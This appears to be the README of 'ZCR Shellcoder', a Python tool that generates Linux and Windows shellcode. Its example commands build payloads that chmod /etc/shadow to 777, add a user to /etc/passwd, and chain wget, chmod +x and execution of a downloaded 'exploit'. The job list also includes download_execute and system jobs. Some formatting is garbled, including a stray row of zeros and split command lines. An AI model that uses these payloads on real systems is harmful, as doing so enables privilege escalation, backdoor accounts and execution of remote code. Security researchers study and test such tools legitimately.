

# ZCR Shellcoder

Author: [Ali Razmjoo](#)

[ZeroDay Cyber Research Shellcoder \[Generator\]](#) is an open source software in python language which lets you generate customized shellcodes for listed operation systems. This software can be run on Windows/Linux&Unix/OSX and others OS under python 2.7.x.

How it work ?

For show list of switches you need to run software with "-h" or "--h" or "-help" or "--help" commands.

```
ZeroDay Cyber Research Shellcoder

Switches:
-h, --h, -help, --help => to see this help guide
-os => choose your os to create shellcode
-oslist => list os for switch -os
-o => output filename
-job => what shellcode gonna do for you ?
-joblist => list of -job switch
-encode => generate shellcode with encode
-types => types of encode for -encode switch

-update => check for update

```

-o switch is output filename which will be generate in output folder.

-job switch used for choose your fucntion to generate shellcode. you can see functions list with -joblist switch.

```
[+] exec('/path/file')
[+] chmod('/path/file','permission number')
[+] write('/path/file','text to write')
[+] file_create('/path/file','text to write')
[+] dir_create('/path/folder')
[+] download('url','filename')
[+] download_execute('url','filename','command to execute')
[+] system('command to execute')
[+] script_executor('name of script','path and name of your script in your pc','execute command')

mix_all	0	0	0	0	0	0	0	0	0	0	0

## Sample of executable commands:

Windows cmd:

```
python shellcoder.py -os linux_x86 -job chmod('/etc/shadow','777') -encode none -o shellcode.asm
```

```
python shellcoder.py -os linux_x86 -job write('/etc/passwd','Ali.....[add user]') -encode none -o shellcode.asm
```

```
python shellcoder.py -os linux_x86 -job exec('/usr/bin/python') -encode none -o shellcode.asm
```

**system()**

```
python shellcoder.py -os linux_x86 -job system('chmod[space]777[space]/etc/shadow') -encode none -o shellcode.asm
```

**multi command execution**

```
python shellcoder.py -os linux_x86 -job system('chmod[space]777[space]/etc/shadow;wget[space]exploit[space];chmod[space]+x[space]exploit[space];./exploit;echo[space]user:pass[space]>>[space]/etc/passwd') -encode none -o shellcode.asm
```

Linux and OSX Terminal:

you need to put a "\" behind the "(" and "\"" char in your switch.

```
python shellcoder.py -os linux_x86 -job chmod\\('/etc/shadow\\', \\ '777\\'\\) -encode none -o shellcode.asm
```

```
python shellcoder.py -os linux_x86 -job write\\('/etc/passwd\\', \\ 'Ali.....[add user] \\'\\) -encode none -o shellcode.asm
```

```
python shellcoder.py -os linux_x86 -job exec\\('/usr/bin/python\\'\\) -encode none -o shellcode.asm
```

### system()

```
python shellcoder.py -os linux_x86 -job
```

```
system\('\chmod[space]777[space]/etc/shadow'\) -encode none -o shellcode.asm
```

### multi command execution

```
python shellcoder.py -os linux_x86 -job
```

```
system\('\chmod[space]777[space]/etc/shadow;wget[space]exploit[space];chmod[space]+  
x[space]exploit[space];./exploit;echo[space]user:pass[space]>>[space]/etc/passwd'\) -  
encode none -o shellcode.asm
```
